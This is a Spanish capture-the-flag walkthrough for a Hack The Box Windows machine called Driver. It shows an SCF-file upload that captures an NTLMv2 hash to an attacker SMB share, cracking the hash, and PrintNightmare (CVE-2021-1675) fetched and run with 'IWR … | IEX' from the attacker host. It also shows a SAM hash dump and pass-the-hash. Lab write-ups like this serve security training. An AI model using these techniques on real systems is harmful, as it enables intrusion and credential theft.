Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos 4 puertos que son solo 3 servicios corriendo, http
, smb
y winrm
❯ nmap 10.10.11.106
Nmap scan report for 10.10.11.106
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
5985/tcp open wsman
Dandole un vistazo a la pagina web
podemos ver que nos pide autenticación
Sin embargo al probar credenciales por defecto este caso admin:admin
entramos, y ahora podemos ver una página que nos habla de probar firmware
de impresoras y tal
Shell - tony
En el apartado de Firmware Updates
podemos ver un campo de carga de archivos, donde se nos pide subir el archivo de firmware
para que alguien lo vea y lo testee
Nos dice que alguien va a revisarlo
de forma manual, podemos crear un archivo scf para cuando alguien lo revise este cargue como icono
un archivo almacenado en un servidor smb
que montaremos, asi al conectarse al servicio se autenticará
y por lo que podemos capturar el hash ntlmv2
del usuario que lo cargue
[Shell]
IconFile=\\10.10.14.10\kali\pwned.ico
Creamos el servidor smb
en el directorio actual dando soporte a smb de versión 2
❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Guardamos el archivo malicioso con el nombre file.scf
y lo subimos en la web
Al subirlo en la web recibimos en nuestro servidor el hash ntlmv2
del usuario tony
❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.106,49414)
[*] AUTHENTICATE_MESSAGE (DRIVER\tony,DRIVER)
[*] User DRIVER\tony authenticated successfully
[*] tony::DRIVER:aaaaaaaaaaaaaaaa:70eb5f848efe998ddcc3ce79b767dde5:010100000000000000326b87086bd90179eabf665cf8bf4900000000010010004d006f004e0075005000420063006d00030010004d006f004e0075005000420063006d0002001000730061004f006600540077005a00650004001000730061004f006600540077005a0065000700080000326b87086bd901060004000200000008003000300000000000000000000000002000008b69b25ebd7bc465fb5892f9136b5a95cbd83588e1d88e98a38188143fb96f4c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0033003300000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:kali)
Guardamos el hash ntlmv2 de tony en un archivo llamado hash
y con john
aplicamos fuerza bruta para obtener la contraseña en texto plano
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
liltony (tony)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Con crackmapexec
comprobamos que las credenciales son válidas para smb
sin embargo al listar los recursos no tenemos privilegio de lectura en ninguno de ellos
❯ crackmapexec smb 10.10.11.106 -u tony -p liltony --shares
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB 10.10.11.106 445 DRIVER [+] DRIVER\tony:liltony
SMB 10.10.11.106 445 DRIVER [+] Enumerated shares
SMB 10.10.11.106 445 DRIVER Share Permissions Remark
SMB 10.10.11.106 445 DRIVER ----- ----------- ------
SMB 10.10.11.106 445 DRIVER ADMIN$ Remote Admin
SMB 10.10.11.106 445 DRIVER C$ Default share
SMB 10.10.11.106 445 DRIVER IPC$ Remote IPC
Sin embargo al cambiar a winrm
también son válidas y por lo que devuelve Pwn3d!
❯ crackmapexec winrm 10.10.11.106 -u tony -p liltony
SMB 10.10.11.106 5985 DRIVER [*] Windows 10.0 Build 10240 (name:DRIVER) (domain:DRIVER)
HTTP 10.10.11.106 5985 DRIVER [*] http://10.10.11.106:5985/wsman
WINRM 10.10.11.106 5985 DRIVER [+] DRIVER\tony:liltony (Pwn3d!)
Nos podemos conectar con evil-winrm
y obtener una shell
además de la flag
❯ evil-winrm -i 10.10.11.106 -u tony -p liltony
PS C:\Users\tony\Documents> whoami
driver\tony
PS C:\Users\tony\Documents> type ..\Desktop\user.txt
e51**************************d87
PS C:\Users\tony\Documents>
Shell - Administrator
Si leemos el historial
de powershell
de nuestro usuario encontramos 3 comandos, 2 de ellos son ping
y el otro es un comando para añadir una impresora
PS C:\Users\tony\Documents> type ..\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'
ping 1.1.1.1
ping 1.1.1.1
PS C:\Users\tony\Documents>
Con rpcdump
podemos comprobar que esta corriendo el servicio spoolsv.exe
❯ impacket-rpcdump 10.10.11.106 | grep -E 'MS-RPRN|MS-PAR' -A1
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Provider: spoolsv.exe
--
Protocol: [MS-RPRN]: Print System Remote Protocol
Provider: spoolsv.exe
Buscando vulnerabilidades para ello encontramos un exploit para el CVE-2021-1675, aprovechamos la función upload
de evil-winrm
para subir el archivo ps1
PS C:\Users\tony\Documents> upload CVE-2021-1675.ps1
Info: Uploading CVE-2021-1675.ps1 to C:\Users\tony\Documents\CVE-2021-1675.ps1
Data: 238080 bytes of 238080 bytes copied
Info: Upload successful!
PS C:\Users\tony\Documents>
Sin embargo al intentar importar
el script nos devuelve un error
diciendo que por politicas la ejecución de scripts esta deshabilitada
en el sistema
PS C:\Users\tony\Documents> Import-Module .\CVE-2021-1675.ps1
File C:\Users\tony\Documents\CVE-2021-1675.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ Import-Module .\CVE-2021-1675.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [Import-Module], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess,Microsoft.PowerShell.Commands.ImportModuleCommand
PS C:\Users\tony\Documents>
Para pasar este filtro podemos iniciar compartiendo el archivo por un servicio http
❯ ls
CVE-2021-1675.ps1
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Con IWR
leemos el contenido del ps1 y lo ejecutamos con IEX
PS C:\Users\tony\Documents> IWR 10.10.14.10/CVE-2021-1675.ps1 | IEX
PS C:\Users\tony\Documents>
Usamos su función Invoke-Nightmare
para crear un usuario Administrador
, nosotros podemos definir el usuario y contraseña, en este caso usare pwned:pwned
PS C:\Users\tony\Documents> Invoke-Nightmare -NewUser pwned -NewPassword pwned
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user pwned as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
PS C:\Users\tony\Documents>
Una vez ejecutado el exploit podemos comprobar que se creo el usuario pwned
correctamente además que forma parte del grupo local Administrators
PS C:\Users\tony\Documents> net user pwned
User name pwned
Full Name pwned
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 4/9/2023 5:48:42 PM
Password expires Never
Password changeable 4/9/2023 5:48:42 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.
PS C:\Users\tony\Documents>
Deberiamos poder conectarnos como el usuario pwned
con evil-winrm
, y ya que somos administratores podemos leer la flag
de altos privilegios
❯ evil-winrm -i 10.10.11.106 -u pwned -p pwned
PS C:\Users\pwned\Documents> whoami
driver\pwned
PS C:\Users\pwned\Documents> type ..\..\Administrator\Desktop\root.txt
41a2**************************89
PS C:\Users\pwned\Documents>
Si quisieramos obtener una shell como Administrator
con secretsdump o en este caso crackmapexec
podemos dumpear la sam
y ver los hashes de todos los usuarios
❯ crackmapexec smb 10.10.11.106 -u pwned -p pwned --sam
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB 10.10.11.106 445 DRIVER [+] DRIVER\pwned:pwned (Pwn3d!)
SMB 10.10.11.106 445 DRIVER [+] Dumping SAM hashes
SMB 10.10.11.106 445 DRIVER Administrator:500:aad3b435b51404eeaad3b435b51404ee:d1256cff8b5b5fdb8c327d3b6c3f5017:::
SMB 10.10.11.106 445 DRIVER Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.106 445 DRIVER DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.106 445 DRIVER tony:1003:aad3b435b51404eeaad3b435b51404ee:dfdb5b520de42ca5d1b84ce61553d085:::
SMB 10.10.11.106 445 DRIVER pwned:1004:aad3b435b51404eeaad3b435b51404ee:7ba5d618fbd033271413101bf82b69bd:::
SMB 10.10.11.106 445 DRIVER [+] Added 5 SAM hashes to the database
Podemos hacer un passthehash
para conectarnos con evil-winrm
proporcionando solo hash nt
del usuario Administrator
, obtenemos una shell como Administrator
❯ evil-winrm -i 10.10.11.106 -u Administrator -H d1256cff8b5b5fdb8c327d3b6c3f5017
PS C:\Users\Administrator\Documents> whoami
driver\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
41a**************************289
PS C:\Users\Administrator\Documents>